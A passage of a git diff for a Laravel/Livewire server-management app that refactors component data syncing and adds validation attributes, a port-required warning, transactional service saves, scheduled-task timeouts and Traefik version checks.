 use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
 use Illuminate\Support\Facades\Auth;
 use Illuminate\Support\Facades\Hash;
+use Livewire\Attributes\Validate;
 use Livewire\Component;
 
 class FileStorage extends Component
 {
-    use AuthorizesRequests, SynchronizesModelData;
+    use AuthorizesRequests;
 
     public LocalFileVolume $fileStorage;
 
@@ -37,8 +37,10 @@ class FileStorage extends Component
 
     public bool $isReadOnly = false;
 
+    #[Validate(['nullable'])]
     public ?string $content = null;
 
+    #[Validate(['required', 'boolean'])]
     public bool $isBasedOnGit = false;
 
     protected $rules = [
@@ -61,15 +63,24 @@ public function mount()
         }
 
         $this->isReadOnly = $this->fileStorage->isReadOnlyVolume();
-        $this->syncFromModel();
+        $this->syncData();
     }
 
-    protected function getModelBindings(): array
+    public function syncData(bool $toModel = false): void
     {
-        return [
-            'content' => 'fileStorage.content',
-            'isBasedOnGit' => 'fileStorage.is_based_on_git',
-        ];
+        if ($toModel) {
+            $this->validate();
+
+            // Sync to model
+            $this->fileStorage->content = $this->content;
+            $this->fileStorage->is_based_on_git = $this->isBasedOnGit;
+
+            $this->fileStorage->save();
+        } else {
+            // Sync from model
+            $this->content = $this->fileStorage->content;
+            $this->isBasedOnGit = $this->fileStorage->is_based_on_git;
+        }
     }
 
     public function convertToDirectory()
@@ -96,7 +107,7 @@ public function loadStorageOnServer()
             $this->authorize('update', $this->resource);
 
             $this->fileStorage->loadStorageOnServer();
-            $this->syncFromModel();
+            $this->syncData();
             $this->dispatch('success', 'File storage loaded from server.');
         } catch (\Throwable $e) {
             return handleError($e, $this);
@@ -165,14 +176,16 @@ public function submit()
             if ($this->fileStorage->is_directory) {
                 $this->content = null;
             }
-            $this->syncToModel();
+            // Sync component properties to model
+            $this->fileStorage->content = $this->content;
+            $this->fileStorage->is_based_on_git = $this->isBasedOnGit;
             $this->fileStorage->save();
             $this->fileStorage->saveStorageOnServer();
             $this->dispatch('success', 'File updated.');
         } catch (\Throwable $e) {
             $this->fileStorage->setRawAttributes($original);
             $this->fileStorage->save();
-            $this->syncFromModel();
+            $this->syncData();
 
             return handleError($e, $this);
         }
diff --git a/app/Livewire/Project/Service/ServiceApplicationView.php b/app/Livewire/Project/Service/ServiceApplicationView.php
index 20358218f..259b9dbec 100644
--- a/app/Livewire/Project/Service/ServiceApplicationView.php
+++ b/app/Livewire/Project/Service/ServiceApplicationView.php
@@ -2,20 +2,19 @@
 
 namespace App\Livewire\Project\Service;
 
-use App\Livewire\Concerns\SynchronizesModelData;
 use App\Models\InstanceSettings;
 use App\Models\ServiceApplication;
 use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
 use Illuminate\Support\Facades\Auth;
 use Illuminate\Support\Facades\DB;
 use Illuminate\Support\Facades\Hash;
+use Livewire\Attributes\Validate;
 use Livewire\Component;
 use Spatie\Url\Url;
 
 class ServiceApplicationView extends Component
 {
     use AuthorizesRequests;
-    use SynchronizesModelData;
 
     public ServiceApplication $application;
 
@@ -31,20 +30,34 @@ class ServiceApplicationView extends Component
 
     public $forceSaveDomains = false;
 
+    public $showPortWarningModal = false;
+
+    public $forceRemovePort = false;
+
+    public $requiredPort = null;
+
+    #[Validate(['nullable'])]
     public ?string $humanName = null;
 
+    #[Validate(['nullable'])]
     public ?string $description = null;
 
+    #[Validate(['nullable'])]
     public ?string $fqdn = null;
 
+    #[Validate(['string', 'nullable'])]
     public ?string $image = null;
 
+    #[Validate(['required', 'boolean'])]
     public bool $excludeFromStatus = false;
 
+    #[Validate(['nullable', 'boolean'])]
     public bool $isLogDrainEnabled = false;
 
+    #[Validate(['nullable', 'boolean'])]
     public bool $isGzipEnabled = false;
 
+    #[Validate(['nullable', 'boolean'])]
     public bool $isStripprefixEnabled = false;
 
     protected $rules = [
@@ -79,7 +92,15 @@ public function instantSaveAdvanced()
 
                 return;
             }
-            $this->syncToModel();
+            // Sync component properties to model
+            $this->application->human_name = $this->humanName;
+            $this->application->description = $this->description;
+            $this->application->fqdn = $this->fqdn;
+            $this->application->image = $this->image;
+            $this->application->exclude_from_status = $this->excludeFromStatus;
+            $this->application->is_log_drain_enabled = $this->isLogDrainEnabled;
+            $this->application->is_gzip_enabled = $this->isGzipEnabled;
+            $this->application->is_stripprefix_enabled = $this->isStripprefixEnabled;
             $this->application->save();
             $this->dispatch('success', 'You need to restart the service for the changes to take effect.');
         } catch (\Throwable $e) {
@@ -114,24 +135,53 @@ public function mount()
         try {
             $this->parameters = get_route_parameters();
             $this->authorize('view', $this->application);
-            $this->syncFromModel();
+            $this->requiredPort = $this->application->getRequiredPort();
+            $this->syncData();
         } catch (\Throwable $e) {
             return handleError($e, $this);
         }
     }
 
-    protected function getModelBindings(): array
+    public function confirmRemovePort()
     {
-        return [
-            'humanName' => 'application.human_name',
-            'description' => 'application.description',
-            'fqdn' => 'application.fqdn',
-            'image' => 'application.image',
-            'excludeFromStatus' => 'application.exclude_from_status',
-            'isLogDrainEnabled' => 'application.is_log_drain_enabled',
-            'isGzipEnabled' => 'application.is_gzip_enabled',
-            'isStripprefixEnabled' => 'application.is_stripprefix_enabled',
-        ];
+        $this->forceRemovePort = true;
+        $this->showPortWarningModal = false;
+        $this->submit();
+    }
+
+    public function cancelRemovePort()
+    {
+        $this->showPortWarningModal = false;
+        $this->syncData(); // Reset to original FQDN
+    }
+
+    public function syncData(bool $toModel = false): void
+    {
+        if ($toModel) {
+            $this->validate();
+
+            // Sync to model
+            $this->application->human_name = $this->humanName;
+            $this->application->description = $this->description;
+            $this->application->fqdn = $this->fqdn;
+            $this->application->image = $this->image;
+            $this->application->exclude_from_status = $this->excludeFromStatus;
+            $this->application->is_log_drain_enabled = $this->isLogDrainEnabled;
+            $this->application->is_gzip_enabled = $this->isGzipEnabled;
+            $this->application->is_stripprefix_enabled = $this->isStripprefixEnabled;
+
+            $this->application->save();
+        } else {
+            // Sync from model
+            $this->humanName = $this->application->human_name;
+            $this->description = $this->application->description;
+            $this->fqdn = $this->application->fqdn;
+            $this->image = $this->application->image;
+            $this->excludeFromStatus = data_get($this->application, 'exclude_from_status', false);
+            $this->isLogDrainEnabled = data_get($this->application, 'is_log_drain_enabled', false);
+            $this->isGzipEnabled = data_get($this->application, 'is_gzip_enabled', true);
+            $this->isStripprefixEnabled = data_get($this->application, 'is_stripprefix_enabled', true);
+        }
     }
 
     public function convertToDatabase()
@@ -193,8 +243,15 @@ public function submit()
             if ($warning) {
                 $this->dispatch('warning', __('warning.sslipdomain'));
             }
-            // Sync to model for domain conflict check
-            $this->syncToModel();
+            // Sync to model for domain conflict check (without validation)
+            $this->application->human_name = $this->humanName;
+            $this->application->description = $this->description;
+            $this->application->fqdn = $this->fqdn;
+            $this->application->image = $this->image;
+            $this->application->exclude_from_status = $this->excludeFromStatus;
+            $this->application->is_log_drain_enabled = $this->isLogDrainEnabled;
+            $this->application->is_gzip_enabled = $this->isGzipEnabled;
+            $this->application->is_stripprefix_enabled = $this->isStripprefixEnabled;
             // Check for domain conflicts if not forcing save
             if (! $this->forceSaveDomains) {
                 $result = checkDomainUsage(resource: $this->application);
@@ -209,10 +266,44 @@ public function submit()
                 $this->forceSaveDomains = false;
             }
 
+            // Check for required port
+            if (! $this->forceRemovePort) {
+                $requiredPort = $this->application->getRequiredPort();
+
+                if ($requiredPort !== null) {
+                    // Check if all FQDNs have a port
+                    $fqdns = str($this->fqdn)->trim()->explode(',');
+                    $missingPort = false;
+
+                    foreach ($fqdns as $fqdn) {
+                        $fqdn = trim($fqdn);
+                        if (empty($fqdn)) {
+                            continue;
+                        }
+
+                        $port = ServiceApplication::extractPortFromUrl($fqdn);
+                        if ($port === null) {
+                            $missingPort = true;
+                            break;
+                        }
+                    }
+
+                    if ($missingPort) {
+                        $this->requiredPort = $requiredPort;
+                        $this->showPortWarningModal = true;
+
+                        return;
+                    }
+                }
+            } else {
+                // Reset the force flag after using it
+                $this->forceRemovePort = false;
+            }
+
             $this->validate();
             $this->application->save();
             $this->application->refresh();
-            $this->syncFromModel();
+            $this->syncData();
             updateCompose($this->application);
             if (str($this->application->fqdn)->contains(',')) {
                 $this->dispatch('warning', 'Some services do not support multiple domains, which can lead to problems and is NOT RECOMMENDED.<br><br>Only use multiple domains if you know what you are doing.');
@@ -224,7 +315,7 @@ public function submit()
             $originalFqdn = $this->application->getOriginal('fqdn');
             if ($originalFqdn !== $this->application->fqdn) {
                 $this->application->fqdn = $originalFqdn;
-                $this->syncFromModel();
+                $this->syncData();
             }
 
             return handleError($e, $this);
diff --git a/app/Livewire/Project/Service/StackForm.php b/app/Livewire/Project/Service/StackForm.php
index 85cd21a7f..72ae6915a 100644
--- a/app/Livewire/Project/Service/StackForm.php
+++ b/app/Livewire/Project/Service/StackForm.php
@@ -5,6 +5,7 @@
 use App\Models\Service;
 use App\Support\ValidationPatterns;
 use Illuminate\Support\Collection;
+use Illuminate\Support\Facades\DB;
 use Livewire\Component;
 
 class StackForm extends Component
@@ -22,7 +23,7 @@ class StackForm extends Component
 
     public string $dockerComposeRaw;
 
-    public string $dockerCompose;
+    public ?string $dockerCompose = null;
 
     public ?bool $connectToDockerNetwork = null;
 
@@ -30,7 +31,7 @@ protected function rules(): array
     {
         $baseRules = [
             'dockerComposeRaw' => 'required',
-            'dockerCompose' => 'required',
+            'dockerCompose' => 'nullable',
             'name' => ValidationPatterns::nameRules(),
             'description' => ValidationPatterns::descriptionRules(),
             'connectToDockerNetwork' => 'nullable',
@@ -140,18 +141,27 @@ public function submit($notify = true)
             $this->validate();
             $this->syncData(true);
 
-            // Validate for command injection BEFORE saving to database
+            // Validate for command injection BEFORE any database operations
             validateDockerComposeForInjection($this->service->docker_compose_raw);
 
-            $this->service->save();
-            $this->service->saveExtraFields($this->fields);
-            $this->service->parse();
+            // Use transaction to ensure atomicity - if parse fails, save is rolled back
+            DB::transaction(function () {
+                $this->service->save();
+                $this->service->saveExtraFields($this->fields);
+                $this->service->parse();
+            });
+            // Refresh and write files after a successful commit
             $this->service->refresh();
             $this->service->saveComposeConfigs();
+
             $this->dispatch('refreshEnvs');
             $this->dispatch('refreshServices');
             $notify && $this->dispatch('success', 'Service saved.');
         } catch (\Throwable $e) {
+            // On error, refresh from database to restore clean state
+            $this->service->refresh();
+            $this->syncData(false);
+
             return handleError($e, $this);
         } finally {
             if (is_null($this->service->config_hash)) {
diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php
index 5f5e12e0a..fa65e8bd2 100644
--- a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php
+++ b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php
@@ -2,8 +2,11 @@
 
 namespace App\Livewire\Project\Shared\EnvironmentVariable;
 
+use App\Models\Environment;
+use App\Models\Project;
 use App\Traits\EnvironmentVariableAnalyzer;
 use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
+use Livewire\Attributes\Computed;
 use Livewire\Component;
 
 class Add extends Component
@@ -56,6 +59,72 @@ public function mount()
         $this->problematicVariables = self::getProblematicVariablesForFrontend();
     }
 
+    #[Computed]
+    public function availableSharedVariables(): array
+    {
+        $team = currentTeam();
+        $result = [
+            'team' => [],
+            'project' => [],
+            'environment' => [],
+        ];
+
+        // Early return if no team
+        if (! $team) {
+            return $result;
+        }
+
+        // Check if user can view team variables
+        try {
+            $this->authorize('view', $team);
+            $result['team'] = $team->environment_variables()
+                ->pluck('key')
+                ->toArray();
+        } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+            // User not authorized to view team variables
+        }
+
+        // Get project variables if we have a project_uuid in route
+        $projectUuid = data_get($this->parameters, 'project_uuid');
+        if ($projectUuid) {
+            $project = Project::where('team_id', $team->id)
+                ->where('uuid', $projectUuid)
+                ->first();
+
+            if ($project) {
+                try {
+                    $this->authorize('view', $project);
+                    $result['project'] = $project->environment_variables()
+                        ->pluck('key')
+                        ->toArray();
+
+                    // Get environment variables if we have an environment_uuid in route
+                    $environmentUuid = data_get($this->parameters, 'environment_uuid');
+                    if ($environmentUuid) {
+                        $environment = $project->environments()
+                            ->where('uuid', $environmentUuid)
+                            ->first();
+
+                        if ($environment) {
+                            try {
+                                $this->authorize('view', $environment);
+                                $result['environment'] = $environment->environment_variables()
+                                    ->pluck('key')
+                                    ->toArray();
+                            } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+                                // User not authorized to view environment variables
+                            }
+                        }
+                    }
+                } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+                    // User not authorized to view project variables
+                }
+            }
+        }
+
+        return $result;
+    }
+
     public function submit()
     {
         $this->validate();
diff --git a/app/Livewire/Project/Shared/HealthChecks.php b/app/Livewire/Project/Shared/HealthChecks.php
index c8029761d..05f786690 100644
--- a/app/Livewire/Project/Shared/HealthChecks.php
+++ b/app/Livewire/Project/Shared/HealthChecks.php
@@ -2,42 +2,54 @@
 
 namespace App\Livewire\Project\Shared;
 
-use App\Livewire\Concerns\SynchronizesModelData;
 use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
+use Livewire\Attributes\Validate;
 use Livewire\Component;
 
 class HealthChecks extends Component
 {
     use AuthorizesRequests;
-    use SynchronizesModelData;
 
     public $resource;
 
     // Explicit properties
+    #[Validate(['boolean'])]
     public bool $healthCheckEnabled = false;
 
+    #[Validate(['string'])]
     public string $healthCheckMethod;
 
+    #[Validate(['string'])]
     public string $healthCheckScheme;
 
+    #[Validate(['string'])]
     public string $healthCheckHost;
 
+    #[Validate(['nullable', 'string'])]
     public ?string $healthCheckPort = null;
 
+    #[Validate(['string'])]
     public string $healthCheckPath;
 
+    #[Validate(['integer'])]
     public int $healthCheckReturnCode;
 
+    #[Validate(['nullable', 'string'])]
     public ?string $healthCheckResponseText = null;
 
+    #[Validate(['integer', 'min:1'])]
     public int $healthCheckInterval;
 
+    #[Validate(['integer', 'min:1'])]
     public int $healthCheckTimeout;
 
+    #[Validate(['integer', 'min:1'])]
     public int $healthCheckRetries;
 
+    #[Validate(['integer'])]
     public int $healthCheckStartPeriod;
 
+    #[Validate(['boolean'])]
     public bool $customHealthcheckFound = false;
 
     protected $rules = [
@@ -56,36 +68,69 @@ class HealthChecks extends Component
         'customHealthcheckFound' => 'boolean',
     ];
 
-    protected function getModelBindings(): array
-    {
-        return [
-            'healthCheckEnabled' => 'resource.health_check_enabled',
-            'healthCheckMethod' => 'resource.health_check_method',
-            'healthCheckScheme' => 'resource.health_check_scheme',
-            'healthCheckHost' => 'resource.health_check_host',
-            'healthCheckPort' => 'resource.health_check_port',
-            'healthCheckPath' => 'resource.health_check_path',
-            'healthCheckReturnCode' => 'resource.health_check_return_code',
-            'healthCheckResponseText' => 'resource.health_check_response_text',
-            'healthCheckInterval' => 'resource.health_check_interval',
-            'healthCheckTimeout' => 'resource.health_check_timeout',
-            'healthCheckRetries' => 'resource.health_check_retries',
-            'healthCheckStartPeriod' => 'resource.health_check_start_period',
-            'customHealthcheckFound' => 'resource.custom_healthcheck_found',
-        ];
-    }
-
     public function mount()
     {
         $this->authorize('view', $this->resource);
-        $this->syncFromModel();
+        $this->syncData();
+    }
+
+    public function syncData(bool $toModel = false): void
+    {
+        if ($toModel) {
+            $this->validate();
+
+            // Sync to model
+            $this->resource->health_check_enabled = $this->healthCheckEnabled;
+            $this->resource->health_check_method = $this->healthCheckMethod;
+            $this->resource->health_check_scheme = $this->healthCheckScheme;
+            $this->resource->health_check_host = $this->healthCheckHost;
+            $this->resource->health_check_port = $this->healthCheckPort;
+            $this->resource->health_check_path = $this->healthCheckPath;
+            $this->resource->health_check_return_code = $this->healthCheckReturnCode;
+            $this->resource->health_check_response_text = $this->healthCheckResponseText;
+            $this->resource->health_check_interval = $this->healthCheckInterval;
+            $this->resource->health_check_timeout = $this->healthCheckTimeout;
+            $this->resource->health_check_retries = $this->healthCheckRetries;
+            $this->resource->health_check_start_period = $this->healthCheckStartPeriod;
+            $this->resource->custom_healthcheck_found = $this->customHealthcheckFound;
+
+            $this->resource->save();
+        } else {
+            // Sync from model
+            $this->healthCheckEnabled = $this->resource->health_check_enabled;
+            $this->healthCheckMethod = $this->resource->health_check_method;
+            $this->healthCheckScheme = $this->resource->health_check_scheme;
+            $this->healthCheckHost = $this->resource->health_check_host;
+            $this->healthCheckPort = $this->resource->health_check_port;
+            $this->healthCheckPath = $this->resource->health_check_path;
+            $this->healthCheckReturnCode = $this->resource->health_check_return_code;
+            $this->healthCheckResponseText = $this->resource->health_check_response_text;
+            $this->healthCheckInterval = $this->resource->health_check_interval;
+            $this->healthCheckTimeout = $this->resource->health_check_timeout;
+            $this->healthCheckRetries = $this->resource->health_check_retries;
+            $this->healthCheckStartPeriod = $this->resource->health_check_start_period;
+            $this->customHealthcheckFound = $this->resource->custom_healthcheck_found;
+        }
     }
 
     public function instantSave()
     {
         $this->authorize('update', $this->resource);
 
-        $this->syncToModel();
+        // Sync component properties to model
+        $this->resource->health_check_enabled = $this->healthCheckEnabled;
+        $this->resource->health_check_method = $this->healthCheckMethod;
+        $this->resource->health_check_scheme = $this->healthCheckScheme;
+        $this->resource->health_check_host = $this->healthCheckHost;
+        $this->resource->health_check_port = $this->healthCheckPort;
+        $this->resource->health_check_path = $this->healthCheckPath;
+        $this->resource->health_check_return_code = $this->healthCheckReturnCode;
+        $this->resource->health_check_response_text = $this->healthCheckResponseText;
+        $this->resource->health_check_interval = $this->healthCheckInterval;
+        $this->resource->health_check_timeout = $this->healthCheckTimeout;
+        $this->resource->health_check_retries = $this->healthCheckRetries;
+        $this->resource->health_check_start_period = $this->healthCheckStartPeriod;
+        $this->resource->custom_healthcheck_found = $this->customHealthcheckFound;
         $this->resource->save();
         $this->dispatch('success', 'Health check updated.');
     }
@@ -96,7 +141,20 @@ public function submit()
             $this->authorize('update', $this->resource);
             $this->validate();
 
-            $this->syncToModel();
+            // Sync component properties to model
+            $this->resource->health_check_enabled = $this->healthCheckEnabled;
+            $this->resource->health_check_method = $this->healthCheckMethod;
+            $this->resource->health_check_scheme = $this->healthCheckScheme;
+            $this->resource->health_check_host = $this->healthCheckHost;
+            $this->resource->health_check_port = $this->healthCheckPort;
+            $this->resource->health_check_path = $this->healthCheckPath;
+            $this->resource->health_check_return_code = $this->healthCheckReturnCode;
+            $this->resource->health_check_response_text = $this->healthCheckResponseText;
+            $this->resource->health_check_interval = $this->healthCheckInterval;
+            $this->resource->health_check_timeout = $this->healthCheckTimeout;
+            $this->resource->health_check_retries = $this->healthCheckRetries;
+            $this->resource->health_check_start_period = $this->healthCheckStartPeriod;
+            $this->resource->custom_healthcheck_found = $this->customHealthcheckFound;
             $this->resource->save();
             $this->dispatch('success', 'Health check updated.');
         } catch (\Throwable $e) {
@@ -111,7 +169,20 @@ public function toggleHealthcheck()
             $wasEnabled = $this->healthCheckEnabled;
             $this->healthCheckEnabled = ! $this->healthCheckEnabled;
 
-            $this->syncToModel();
+            // Sync component properties to model
+            $this->resource->health_check_enabled = $this->healthCheckEnabled;
+            $this->resource->health_check_method = $this->healthCheckMethod;
+            $this->resource->health_check_scheme = $this->healthCheckScheme;
+            $this->resource->health_check_host = $this->healthCheckHost;
+            $this->resource->health_check_port = $this->healthCheckPort;
+            $this->resource->health_check_path = $this->healthCheckPath;
+            $this->resource->health_check_return_code = $this->healthCheckReturnCode;
+            $this->resource->health_check_response_text = $this->healthCheckResponseText;
+            $this->resource->health_check_interval = $this->healthCheckInterval;
+            $this->resource->health_check_timeout = $this->healthCheckTimeout;
+            $this->resource->health_check_retries = $this->healthCheckRetries;
+            $this->resource->health_check_start_period = $this->healthCheckStartPeriod;
+            $this->resource->custom_healthcheck_found = $this->customHealthcheckFound;
             $this->resource->save();
 
             if ($this->healthCheckEnabled && ! $wasEnabled && $this->resource->isRunning()) {
diff --git a/app/Livewire/Project/Shared/ScheduledTask/Add.php b/app/Livewire/Project/Shared/ScheduledTask/Add.php
index e4b666532..d7210c15d 100644
--- a/app/Livewire/Project/Shared/ScheduledTask/Add.php
+++ b/app/Livewire/Project/Shared/ScheduledTask/Add.php
@@ -34,11 +34,14 @@ class Add extends Component
 
     public ?string $container = '';
 
+    public int $timeout = 300;
+
     protected $rules = [
         'name' => 'required|string',
         'command' => 'required|string',
         'frequency' => 'required|string',
         'container' => 'nullable|string',
+        'timeout' => 'required|integer|min:60|max:3600',
     ];
 
     protected $validationAttributes = [
@@ -46,6 +49,7 @@ class Add extends Component
         'command' => 'command',
         'frequency' => 'frequency',
         'container' => 'container',
+        'timeout' => 'timeout',
     ];
 
     public function mount()
@@ -103,6 +107,7 @@ public function saveScheduledTask()
             $task->command = $this->command;
             $task->frequency = $this->frequency;
             $task->container = $this->container;
+            $task->timeout = $this->timeout;
             $task->team_id = currentTeam()->id;
 
             switch ($this->type) {
@@ -130,5 +135,6 @@ public function clear()
         $this->command = '';
         $this->frequency = '';
         $this->container = '';
+        $this->timeout = 300;
     }
 }
diff --git a/app/Livewire/Project/Shared/ScheduledTask/Show.php b/app/Livewire/Project/Shared/ScheduledTask/Show.php
index c8d07ae36..088de0a76 100644
--- a/app/Livewire/Project/Shared/ScheduledTask/Show.php
+++ b/app/Livewire/Project/Shared/ScheduledTask/Show.php
@@ -40,6 +40,9 @@ class Show extends Component
     #[Validate(['string', 'nullable'])]
     public ?string $container = null;
 
+    #[Validate(['integer', 'required', 'min:60', 'max:3600'])]
+    public $timeout = 300;
+
     #[Locked]
     public ?string $application_uuid;
 
@@ -99,6 +102,7 @@ public function syncData(bool $toModel = false)
             $this->task->command = str($this->command)->trim()->value();
             $this->task->frequency = str($this->frequency)->trim()->value();
             $this->task->container = str($this->container)->trim()->value();
+            $this->task->timeout = (int) $this->timeout;
             $this->task->save();
         } else {
             $this->isEnabled = $this->task->enabled;
@@ -106,6 +110,7 @@ public function syncData(bool $toModel = false)
             $this->command = $this->task->command;
             $this->frequency = $this->task->frequency;
             $this->container = $this->task->container;
+            $this->timeout = $this->task->timeout ?? 300;
         }
     }
 
diff --git a/app/Livewire/Server/Navbar.php b/app/Livewire/Server/Navbar.php
index 6baa54672..4e3481912 100644
--- a/app/Livewire/Server/Navbar.php
+++ b/app/Livewire/Server/Navbar.php
@@ -5,7 +5,8 @@
 use App\Actions\Proxy\CheckProxy;
 use App\Actions\Proxy\StartProxy;
 use App\Actions\Proxy\StopProxy;
-use App\Jobs\RestartProxyJob;
+use App\Enums\ProxyTypes;
+use App\Jobs\CheckTraefikVersionForServerJob;
 use App\Models\Server;
 use App\Services\ProxyDashboardCacheService;
 use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
@@ -61,7 +62,18 @@ public function restart()
     {
         try {
             $this->authorize('manageProxy', $this->server);
-            RestartProxyJob::dispatch($this->server);
+            StopProxy::run($this->server, restarting: true);
+
+            $this->server->proxy->force_stop = false;
+            $this->server->save();
+
+            $activity = StartProxy::run($this->server, force: true, restarting: true);
+            $this->dispatch('activityMonitor', $activity->id);
+
+            // Check Traefik version after restart to provide immediate feedback
+            if ($this->server->proxyType() === ProxyTypes::TRAEFIK->value) {
+                CheckTraefikVersionForServerJob::dispatch($this->server, get_traefik_versions());
+            }
         } catch (\Throwable $e) {
             return handleError($e, $this);
         }
@@ -118,19 +130,25 @@ public function checkProxyStatus()
 
     public function showNotification()
     {
+        $previousStatus = $this->proxyStatus;
         $this->server->refresh();
         $this->proxyStatus = $this->server->proxy->status ?? 'unknown';
 
         switch ($this->proxyStatus) {
             case 'running':
                 $this->loadProxyConfiguration();
-                $this->dispatch('success', 'Proxy is running.');
-                break;
-            case 'restarting':
-                $this->dispatch('info', 'Initiating proxy restart.');
+                // Only show "Proxy is running" notification when transitioning from a stopped/error state
+                // Don't show during normal start/restart flows (starting, restarting, stopping)
+                if (in_array($previousStatus, ['exited', 'stopped', 'unknown', null])) {
+                    $this->dispatch('success', 'Proxy is running.');
+                }
                 break;
             case 'exited':
-                $this->dispatch('info', 'Proxy has exited.');
+                // Only show "Proxy has exited" notification when transitioning from running state
+                // Don't show during normal stop/restart flows (stopping, restarting)
+                if (in_array($previousStatus, ['running'])) {
+                    $this->dispatch('info', 'Proxy has exited.');
+                }
                 break;
             case 'stopping':
                 $this->dispatch('info', 'Proxy is stopping.');
@@ -154,6 +172,22 @@ public function refreshServer()
         $this->server->load('settings');
     }
 
+    /**
+     * Check if Traefik has any outdated version info (patch or minor upgrade).
+     * This shows a warning indicator in the navbar.
+     */
+    public function getHasTraefikOutdatedProperty(): bool
+    {
+        if ($this->server->proxyType() !== ProxyTypes::TRAEFIK->value) {
+            return false;
+        }
+
+        // Check if server has outdated info stored
+        $outdatedInfo = $this->server->traefik_outdated_info;
+
+        return ! empty($outdatedInfo) && isset($outdatedInfo['type']);
+    }
+
     public function render()
     {
         return view('livewire.server.navbar');
diff --git a/app/Livewire/Server/Proxy.php b/app/Livewire/Server/Proxy.php
index bc7e9bde4..c92f73f17 100644
--- a/app/Livewire/Server/Proxy.php
+++ b/app/Livewire/Server/Proxy.php
@@ -4,6 +4,7 @@
 
 use App\Actions\Proxy\GetProxyConfiguration;
 use App\Actions\Proxy\SaveProxyConfiguration;
+use App\Enums\ProxyTypes;
 use App\Models\Server;
 use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
 use Livewire\Component;
@@ -24,6 +25,12 @@ class Proxy extends Component
 
     public bool $generateExactLabels = false;
 
+    /**
+     * Cache the versions.json file data in memory for this component instance.
+     * This avoids multiple file reads during a single request/render cycle.
+     */
+    protected ?array $cachedVersionsFile = null;
+
     public function getListeners()
     {
         $teamId = auth()->user()->currentTeam()->id;
@@ -55,6 +62,34 @@ private function syncData(bool $toModel = false): void
         }
     }
 
+    /**
+     * Get Traefik versions from cached data with in-memory optimization.
+     * Returns array like: ['v3.5' => '3.5.6', 'v3.6' => '3.6.2']
+     *
+     * This method adds an in-memory cache layer on top of the global
+     * get_traefik_versions() helper to avoid multiple calls during
+     * a single component lifecycle/render.
+     */
+    protected function getTraefikVersions(): ?array
+    {
+        // In-memory cache for this component instance (per-request)
+        if ($this->cachedVersionsFile !== null) {
+            return data_get($this->cachedVersionsFile, 'traefik');
+        }
+
+        // Load from global cached helper (Redis + filesystem)
+        $versionsData = get_versions_data();
+        $this->cachedVersionsFile = $versionsData;
+
+        if (! $versionsData) {
+            return null;
+        }
+
+        $traefikVersions = data_get($versionsData, 'traefik');
+
+        return is_array($traefikVersions) ? $traefikVersions : null;
+    }
+
     public function getConfigurationFilePathProperty()
     {
         return $this->server->proxyPath().'docker-compose.yml';
@@ -144,4 +179,131 @@ public function loadProxyConfiguration()
             return handleError($e, $this);
         }
     }
+
+    /**
+     * Get the latest Traefik version for this server's current branch.
+     *
+     * This compares the server's detected version against available versions
+     * in versions.json to determine the latest patch for the current branch,
+     * or the newest available version if no current version is detected.
+     */
+    public function getLatestTraefikVersionProperty(): ?string
+    {
+        try {
+            $traefikVersions = $this->getTraefikVersions();
+
+            if (! $traefikVersions) {
+                return null;
+            }
+
+            // Get this server's current version
+            $currentVersion = $this->server->detected_traefik_version;
+
+            // If we have a current version, try to find matching branch
+            if ($currentVersion && $currentVersion !== 'latest') {
+                $current = ltrim($currentVersion, 'v');
+                if (preg_match('/^(\d+\.\d+)/', $current, $matches)) {
+                    $branch = "v{$matches[1]}";
+                    if (isset($traefikVersions[$branch])) {
+                        $version = $traefikVersions[$branch];
+
+                        return str_starts_with($version, 'v') ? $version : "v{$version}";
+                    }
+                }
+            }
+
+            // Return the newest available version
+            $newestVersion = collect($traefikVersions)
+                ->map(fn ($v) => ltrim($v, 'v'))
+                ->sortBy(fn ($v) => $v, SORT_NATURAL)
+                ->last();
+
+            return $newestVersion ? "v{$newestVersion}" : null;
+        } catch (\Throwable $e) {
+            return null;
+        }
+    }
+
+    public function getIsTraefikOutdatedProperty(): bool
+    {
+        if ($this->server->proxyType() !== ProxyTypes::TRAEFIK->value) {
+            return false;
+        }
+
+        $currentVersion = $this->server->detected_traefik_version;
+        if (! $currentVersion || $currentVersion === 'latest') {
+            return false;
+        }
+
+        $latestVersion = $this->latestTraefikVersion;
+        if (! $latestVersion) {
+            return false;
+        }
+
+        // Compare versions (strip 'v' prefix)
+        $current = ltrim($currentVersion, 'v');
+        $latest = ltrim($latestVersion, 'v');
+
+        return version_compare($current, $latest, '<');
+    }
+
+    /**
+     * Check if a newer Traefik branch (minor version) is available for this server.
+     * Returns the branch identifier (e.g., "v3.6") if a newer branch exists.
+     */
+    public function getNewerTraefikBranchAvailableProperty(): ?string
+    {
+        try {
+            if ($this->server->proxyType() !== ProxyTypes::TRAEFIK->value) {
+                return null;
+            }
+
+            // Get this server's current version
+            $currentVersion = $this->server->detected_traefik_version;
+            if (! $currentVersion || $currentVersion === 'latest') {
+                return null;
+            }
+
+            // Check if we have outdated info stored for this server (faster than computing)
+            $outdatedInfo = $this->server->traefik_outdated_info;
+            if ($outdatedInfo && isset($outdatedInfo['type']) && $outdatedInfo['type'] === 'minor_upgrade') {
+                // Use the upgrade_target field if available (e.g., "v3.6")
+                if (isset($outdatedInfo['upgrade_target'])) {
+                    return str_starts_with($outdatedInfo['upgrade_target'], 'v')
+                        ? $outdatedInfo['upgrade_target']
+                        : "v{$outdatedInfo['upgrade_target']}";
+                }
+            }
+
+            // Fallback: compute from cached versions data
+            $traefikVersions = $this->getTraefikVersions();
+
+            if (! $traefikVersions) {
+                return null;
+            }
+
+            // Extract current branch (e.g., "3.5" from "3.5.6")
+            $current = ltrim($currentVersion, 'v');
+            if (! preg_match('/^(\d+\.\d+)/', $current, $matches)) {
+                return null;
+            }
+
+            $currentBranch = $matches[1];
+
+            // Find the newest branch that's greater than current
+            $newestBranch = null;
+            foreach ($traefikVersions as $branch => $version) {
+                $branchNum = ltrim($branch, 'v');
